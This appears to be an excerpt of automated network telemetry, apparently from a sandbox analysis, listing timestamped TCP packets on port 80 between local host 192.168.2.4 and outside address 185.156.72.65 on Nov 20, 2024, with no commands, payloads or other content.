Nov 20, 2024 05:02:19.583414078 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583416939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583441973 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583462000 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583695889 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583707094 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583724976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583734989 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583744049 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583756924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583758116 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583766937 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583775043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583785057 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583796024 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583800077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583811045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583831072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583831072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583834887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.583858967 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.583888054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584391117 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584431887 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584482908 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584495068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584506989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584520102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584532022 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584544897 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584544897 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584546089 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584559917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584570885 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584595919 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584626913 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584897995 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.584939003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.584997892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585007906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585020065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585031986 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585036993 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585042953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585047007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585055113 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585067034 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585072041 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585098028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585125923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585222006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585258007 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585294962 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585305929 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585325003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585331917 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585339069 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585347891 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585350037 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585361958 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585372925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585374117 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585397005 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585458040 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585892916 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585905075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585916996 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.585933924 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585947990 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585968018 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.585995913 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586007118 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586018085 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586030006 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586039066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586050034 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586078882 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586107969 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586119890 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586133003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586153984 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586173058 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586177111 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586210966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586214066 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586222887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586246014 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586253881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586263895 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586265087 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.586292028 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.586307049 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.587203026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587214947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587224960 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587244987 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587249041 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.587255955 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587259054 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.587269068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587280989 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587291956 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.587292910 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.587310076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.587594032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608598948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608613014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608623028 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608628035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608638048 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608648062 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608658075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608669043 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608712912 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608720064 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608731031 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608741999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608762026 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608777046 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608789921 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608798981 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608808994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608819008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608828068 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608829021 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.608859062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.608886957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.609424114 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609467983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.609541893 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609550953 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609560966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609570980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609575987 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.609582901 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609595060 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609597921 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.609603882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.609627008 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.609641075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610299110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610311985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610323906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610336065 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610341072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610356092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610366106 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610366106 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610375881 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610385895 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610388994 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610397100 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610408068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610415936 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610418081 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610428095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610438108 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610445023 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610450029 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610466003 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610466003 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610477924 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610481024 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610487938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610497952 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610497952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610522985 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610546112 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610585928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610594988 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610601902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610608101 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610616922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610624075 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610630035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610645056 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610671997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.610954046 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.610991955 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611243963 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611285925 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611329079 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611347914 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611360073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611367941 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611371994 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611382008 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611386061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611392975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.611406088 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611428022 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.611454010 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.670816898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670828104 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670836926 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670861006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.670866966 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670875072 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.670876980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670886993 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670896053 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670902014 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670911074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.670943975 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.670979023 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.670989990 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671000004 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671010017 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671019077 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671020985 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671031952 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671039104 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671062946 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671190977 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671227932 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671241045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671284914 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671310902 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671331882 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671344042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671353102 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671359062 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671365976 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671376944 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.671380997 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671406031 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.671421051 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672072887 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672081947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672092915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672112942 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672126055 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672141075 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672152042 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672168970 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672179937 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672180891 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672193050 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672194958 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672202110 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672221899 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672239065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672637939 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672648907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672658920 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672667980 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672678947 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672682047 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672699928 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672702074 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672710896 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672727108 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672751904 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672854900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672877073 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672889948 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672890902 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672900915 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672913074 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672918081 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672930002 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672950983 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.672960997 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.672971010 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673019886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673019886 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673309088 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673352957 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673382998 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673393011 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673410892 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673420906 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673423052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673423052 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673438072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673449039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673455954 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.673471928 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.673500061 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674102068 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674113035 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674122095 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674132109 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674141884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674144030 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674153090 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674161911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674174070 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674175978 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674205065 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674216032 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674696922 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674740076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674823999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674833059 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674844027 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674854040 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674861908 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674864054 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674875975 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674881935 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674896002 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.674907923 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674927950 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.674961090 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.698734999 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698745012 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698755026 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698765039 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698780060 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.698781013 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698802948 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.698829889 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.698915005 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698925018 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698934078 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698944092 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.698951006 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699028015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699028015 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699035883 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699044943 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699060917 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699071884 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699073076 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699081898 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699091911 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699091911 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699101925 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699111938 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699120045 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699124098 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699129105 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699140072 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699147940 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699153900 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699158907 CET	80	49730	185.156.72.65	192.168.2.4
Nov 20, 2024 05:02:19.699172020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699172020 CET	49730	80	192.168.2.4	185.156.72.65
Nov 20, 2024 05:02:19.699203014 CET	80	49730	185.156.72.65	192.168.2.4
